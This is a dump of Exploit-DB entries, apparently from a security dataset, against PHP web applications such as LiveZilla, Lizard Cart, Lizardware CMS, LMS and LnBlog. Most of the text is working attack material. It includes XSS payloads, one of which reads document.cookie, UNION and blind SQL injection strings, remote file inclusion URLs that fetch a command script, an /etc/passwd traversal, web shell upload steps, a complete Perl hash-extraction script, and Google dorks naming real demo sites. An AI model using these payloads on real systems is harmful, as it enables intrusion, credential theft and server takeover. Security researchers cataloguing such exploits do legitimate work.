deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34445
Description: LiveStreet 0.2 - Comment Topic Header Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-31
Author: Inj3ct0r

Exploit:
source: https://www.securityfocus.com/bid/42422/info

LiveStreet is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

LiveStreet 0.2 is vulnerable; other versions may also be affected.

<img src =. onerror = alert ()>
Exploit-DB #42488
Description: LiveSupport 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: LiveSupport 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/livesupport-complete-ticketing-system-crm/20243447
# Demo: http://livesupport.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the users to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?Ticket[queue_id]=2&r=support/ticket/queue&id=[SQL]
# 2&r=support/ticket/queue&id=22+/*!44455PrOceDure*/+/*!44455AnaLysE*/+(eXtrActvAlue(0,/*!44455concat*/(0x27,0x3a,version(),0x7e,database())),0)--+-
# 
# http://localhost/[PATH]/index.php?r=support/ticket-resolution/update&id=[SQL]
# 
# http://localhost/[PATH]/index.php?r=support/ticket/update&id=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #10806
Description: LiveZilla 3.1.8.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-30
Author: MaXe

Exploit:
Info:
LiveZilla, the Next Generation Live Help / Live Chat and Live
Support System connects you to your website visitors. Use
LiveZilla to provide Live Chats and monitor your website visitors
in real-time. Convert visitors to customers - with LiveZilla!

Credits: InterN0T

External Links:
http://www.livezilla.net/


-:: The Advisory ::-
The following files would together be vulnerable to Cross Site Scripting.

1. livezilla/templates/map.tpl (lines 18-20)
var default_lat = <!--dlat-->;
var default_lng = <!--dlng-->;
var default_zom = <!--dzom-->;

2. livezilla/map.php (lines 15-28)
if(isset($_GET["lat"]))
$map = str_replace("<!--dlat-->",$_GET["lat"],$map);
else
$map = str_replace("<!--dlat-->","25",$map);

if(isset($_GET["lng"]))
$map = str_replace("<!--dlng-->",$_GET["lng"],$map);
else
$map = str_replace("<!--dlng-->","10",$map);

if(isset($_GET["zom"]))
$map = str_replace("<!--dzom-->",$_GET["zom"],$map);
else
$map = str_replace("<!--dzom-->","1",$map);


Proof of Concept: (</script>)
http://localhost/livezilla/map.php?lat=%3C/script%3E%3Cscript%3Ealert(%22InterN0T.net%22)%3C/script%3E

Pseudo Proof of Concept:
- Javascript functions could also have been executed inside the javascript where the vulnerable code is.


-:: Solution ::-
The following patch was supplied to the vendor:

1. livezilla/templates/map.tpl (lines 18-20)
var default_lat = "<!--dlat-->";
var default_lng = "<!--dlng-->";
var default_zom = "<!--dzom-->";

2. livezilla/map.php (lines 15-28)
if(isset($_GET["lat"]))
$map = str_replace("<!--dlat-->",htmlentities($_GET["lat"]),$map);
else
$map = str_replace("<!--dlat-->","25",$map);

if(isset($_GET["lng"]))
$map = str_replace("<!--dlng-->",htmlentities($_GET["lng"]),$map);
else
$map = str_replace("<!--dlng-->","10",$map);

if(isset($_GET["zom"]))
$map = str_replace("<!--dzom-->",htmlentities($_GET["zom"]),$map);
else
$map = str_replace("<!--dzom-->","1",$map);
We used htmlentities() since we thought that would be the best
solution. The other functions named htmlspecialchars(), urlencode()
and raw_urlencode() could have been an alternative to the above.

Reference:
http://forum.intern0t.net/intern0t-advisories/1998-intern0t-livezilla-cross-site-scripting-vulnerability.html

Disclosure Information:
- Vulnerability found 27th December
- Patch was made available 27th December
- Disclosed on InterN0T 27th December
- Vendor and Buqtraq (SecurityFocus) contacted the 27th December


All of the best,
MaXe
Exploit-DB #34231
Description: LiveZilla 3.1.8.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-30
Author: MaXe

Exploit:
source: https://www.securityfocus.com/bid/41271/info

LiveZilla is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LiveZilla 3.1.8.3 is vulnerable; other versions may be affected.

http://www.example.com/livezilla/map.php?lat=%3C/script%3E%3Cscript%3Ealert(%22InterN0T.net%22)%3C/script%3E
Exploit-DB #35149
Description: LiveZilla 3.2.0.2 - 'Track' Module 'server.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-27
Author: Ulisses Castro

Exploit:
source: https://www.securityfocus.com/bid/45586/info

LiveZilla is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LiveZilla 3.2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/livezilla/server.php?request=track&livezilla=<script>alert(&#039;xss&#039;)</script>
Exploit-DB #49669
Description: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS
Type: webapps
Platform: php
Date: 2021-03-19
Author: Clément Cruchet

Exploit:
# Exploit Title: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS
# Google Dork: inurl: inurl:/mobile/index.php intitle:LiveZilla
# Date: 18 Mars 2021
# Exploit Author: Clément Cruchet
# Vendor Homepage: https://www.livezilla.net
# Software Link: https://www.livezilla.net/downloads/en/
# Version: LiveZilla Server 8.0.1.0 and before
# Tested on: Windows/Linux
# CVE : CVE-2019-12962

GET /mobile/index.php HTTP/1.1
Host: chat.website.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ';alert(document.cookie)//
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #7408
Description: living Local 1.1 - Cross-Site Scripting / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-10
Author: Bgh7

Exploit:
Authot: Bgh7
 
Home: http://ozelteam.com - Turk Bilisim GÃ¼cleri
 
Pst: bybgh7@msn.com
 
=============================
 
Dork: allinurl:clientsignup.php "classifieds"
 
Dork2: Powered By: Living Local V1.1
 
Demo: http://www.jerseyads.net/listtest.php?r="><script>alert()</script>
 
Demo2: http://homes.relatedlistings.com/Member_Admin/logo/cca55760b985b02c1b9d7fac606shell.php
 
http://homes.relatedlistings.com/Member_Admin/
 
E-Mail: bybgh7@msn.com
[CREDENTIAL_REDACTED]
=============================
 
you must register to site ( direckt register link: http://localhost/script_path/registerlandlord.php ) ( siteye uye ol )

and login ( direckt link: http://localhost/script_path/Member_Admin/index.php ) ( giris yap )

after edit your banner ( direckt link: http://localhost/script_path/Member_Admin/editimage.php?clientid=[MemberAdminPass] )

or first click "Edit Account Info" after click "Your Logo" Edit button ( "Edit Account Info" yazÃ½sÃ½na tIkla sonra da edit butonuna tIkla )

and open new page. you click gozat button and select your_sheell.php ( acIlan yeni sayfada senin hazIr shell i upload et )

after click to submit button. you should see "Your image will be review." ( "Your image will be review." bu yazIyI gormelisin )

if you see "Your image will be review." your shell upload succesfull. ( gorduysen yukleme basarIlI )

after repeat click to "Edit Account Info" and open page. your logo right click and properties select this link copy

after paste your explorer go your_shell.php ( sonra yine "Edit Account Info" yazIsIna TÃ½kla

acIlan sayfada logonun ustunde sag tIkla ozellikleri TÃ½kla linki kopyala sonrada shelle ulas )
 
 
==========================
 
Thanks: str0ke - Ã‡Ä±lgÄ±nTurk

# milw0rm.com [2008-12-10]
Exploit-DB #6361
Description: Living Local Website - 'listtest.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-03
Author: Hussin X

Exploit:
|___________________________________________________|
|
|  Living Local (listtest.php r) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.ezonescripts.com/scripts/sls/livinglocal.php
|
|___________________________________________________|

Exploit: 




www.[target].com/Script/listtest.php?r=-20+union+select+1,concat_ws(0x3a,user(),version(),database())--






L!VE DEMO:


http://www.ezonescripts.com/productdemos/LivingLocal/listtest.php?r=-20+union+select+1,concat_ws(0x3a,user(),version(),database())--




____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-09-03]
Exploit-DB #29821
Description: Livor 2.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-06
Author: Arham Muhammad

Exploit:
source: https://www.securityfocus.com/bid/23353/info

Livor is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Livor 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?page=[XSS]
Exploit-DB #18561
Description: lizard cart - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-05
Author: Number 7

Exploit:
# Exploit Title: [lizard cart SQLi (search.php)]
# Google Dork: [inurl:search.php+intitle:"Lizard Cart"+intext:"Search Results:"]
# Date: [05-03-2012]
# Author: [Number 7]
# Software Link: [http://sourceforge.net/projects/lizardcart/files/latest/download?source=directory]
# Version: [pp104]
# Tested on: [Windows]
_____________________________________________________________________________________________
Usage:

http://localhost/liza/search.php?metode=1'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\AppServ\www\liza\search.php on line 15

http://localhost/liza/search.php?metode=[SQLi]

search.php?metode=-1+union+select+1,2,concat(id,0x3e,page_title,0x3e,page_content),4,5,6,7,8+from+pages--

Demo:
htptp://localhost/liza/search.php?metode=-1+union+select+1,2,concat(id,0x3e,page_title,0x3e,page_content),4,5,6,7,8+from+pages--

_____________________________________________________________________________________________
Exploit-DB #10695
Description: Lizard Cart - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : Lizard Cart Upload Shell Vulnerability                                  |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Lizard Cart. ( 2tone Web Design ).                                      |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            |
======================      Exploit By indoushka       =================================
|# Exploit  :
| 1- http://localhost/lizardcart/admin/jscript/upload.php
| 2- http://localhost/lizardcart/admin/jscript/upload.html
| 3- http://localhost/lizardcart/admin/jscript/upload.pl
| 4- http://localhost/lizardcart/admin/jscript/upload.asp
| 5- Find it in http://localhost/lizardcart/graphics/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10560
Description: Lizard Cart - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-12-19
Author: cr4wl3r

Exploit:
################################################################################
## Exploit Title: Lizard Cart Multiple SQL Injection Exploit                  ##
## Date: 20-12-2009                                                           ##
## Author: cr4wl3r                                                            ##
## Software Link: http://sourceforge.net/projects/lizardcart/                 ##
## Version: N/A                                                               ##
## Tested on: GNU/LINUX                                                       ##
################################################################################


~ Code [detail.php]

$dbResult = mysql_query("select * from products where id='$id'");

~ PoC

[lizardcart_path]/detail.php?id=[SQL]



~ Code [pages.php]

$dbResult = mysql_query("select * from pages where id='$id'");

~ PoC

[lizardcart_path]/pages.php?id=[SQL]
Exploit-DB #7507
Description: Lizardware CMS 0.6.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-17
Author: StAkeR

Exploit:
#!/usr/bin/perl -w
# Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://sourceforge.net/projects/lizardwarecms/

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $ptable = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102); 
my $substr = 1; 
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;
  
     $host .= "/administrator/index.php?loginsubmitMTIyOTU0ODExMg== ";
     $post = $http->post($host,[
                                 user      => $param,
                                 pass      => 'anything'
                               ]);
 
}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;
  
     $send = "' or (select if((ascii(substring".
             "(user_password,$uidz,1))=$charz),".
             "benchmark(230000000,char(0)),".
            "0) from ${ptable}_users where user_id=$userid)#";

     return $send;
}


for(1..32) 
{
     foreach my $set(@chars)
     {
          my $start = time();
    
          send_request(give_char($set,$substr));
    
          my $stop = time();
  
         if($stop - $start > 6)
         { 
              syswrite(STDOUT,chr($set));
              $substr++; 
              last;
        }
    }
}

sub usage
{
     print "[?] Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [table_prefix] [id]\n";
     exit;
}

# milw0rm.com [2008-12-17]
Exploit-DB #28390
Description: Lizge 20 - 'index.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-15
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/19533/info

Lizge is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version V.20 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[target]/[lizge_path]//index.php?lizge=http://www.example.com/cmd.txt?&cmd=ls http://www.example.com/[target]/[lizges_path]//index.php?bade=http://www.example.com/cmd.txt?&cmd=ls
Exploit-DB #9383
Description: LM Starmail 2.0 - SQL Injection / File Inclusion
Type: webapps
Platform: php
Date: 2009-08-06
Author: int_main();

Exploit:
_______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


  [=] LM Starmail 2.0  (home.php & paidbanner.php) SQL Injection/File Inclusion Vuln
       
       Vendor   : http://www.script-shop24.de
       Script   : LM Starmail 2.0
       Download : http://www.script-shop24.de/product_info.php/info/p68_Starmail-2-0-Paidmail.html
       Author   : int_main();
       Contact  : someone[at]jabber.ccc.de
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs,Cod1K
      


       Exploit:

       http://[target]/home.php?page=[evilscript]
       http://[target]/paidbanner.php?ID=[sql]

       POC:

       http://script-demo.eu/Luxusmailer5/home.php?page=http://google.de
       http://script-demo.eu/Luxusmailer5/paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--


       (File access is unfortunately disabled in this case, otherwise, this inclusion would work because of the coding gap.)

       Have phun, wui!

  [=]     

# milw0rm.com [2009-08-06]
Exploit-DB #29886
Description: Lms 1.5.x - 'RTMessageAdd.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-23
Author: InyeXion

Exploit:
source: https://www.securityfocus.com/bid/23611/info

LMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects LMS 1.5.3 and 1.5.4; earlier versions may also be vulnerable.

http://www.example.com/modules/rtmessageadd.php?_LIB_DIR=Shell?
Exploit-DB #3545
Description: Lms 1.8.9 - Vala Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-22
Author: Kacper

Exploit:
DEVIL TEAM - HACKING POLISH TEAM

Author: Kacper
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Irc: irc.milw0rm.com:6667 #devilteam 
--------------------------------------------
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.


LMS <= 1.8.9 Vala Remote File Inclusion Vulnerabilities
script download/homepage: http://www.lms.org.pl/


--------------------------------------------
Vulnerabilities:

http://strona.pl/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=[evil_code]
http://strona.pl/lms_path/modules/welcome.php?_LIB_DIR=[evil_code]

# milw0rm.com [2007-03-22]
Exploit-DB #35444
Description: Lms Web Ensino - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-04
Author: waKKu

Exploit:
source: https://www.securityfocus.com/bid/46829/info

LMS Web Ensino is prone to the following input-validation vulnerabilities:

1. Multiple cross-site scripting vulnerabilities
2. An SQL-injection vulnerability
3. A cross-site request-forgery vulnerability
4. A session-fixation vulnerability

Exploiting these issues could allow an attacker to execute arbitrary code, hijack a user's session, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/lms/sistema/webensino/index.php?modo=resbusca_biblioteca&pChave=a%22%2F%3E+%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&Submit=Buscar 

http://www.example.com/lms/sistema/webensino/index.php?modo=itensCategoriaBiblioteca&codBibliotecaCategoria=<SQLi>
Exploit-DB #6601
Description: LnBlog 0.9.0 - 'plugin' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-27
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###############################################################
 #  [ LnBlog <= 0.9.0 ]   Local File Inclusion Vulnerability   #
 ###############################################################
 #
 # Script: "LnBlog A cross-platform, file-based weblog/mini-CMS."
 #
 # Script site: http://lnblog.skepticats.com/
 # Download: http://lnblog.skepticats.com/content/download/
 #	     http://sourceforge.net/projects/lnblog/
 #
 # Vuln: http://site.com/[lnblog-0.9.0]/pages/showblog.php?plugin=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./lnblog-0.9.0/pages/showblog.php (lines: 109,110)
 #
 # ...
 #	} elseif ( isset($_GET['plugin']) ) {
 #		require_once("plugins/".$_GET['plugin'].".php");
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-27]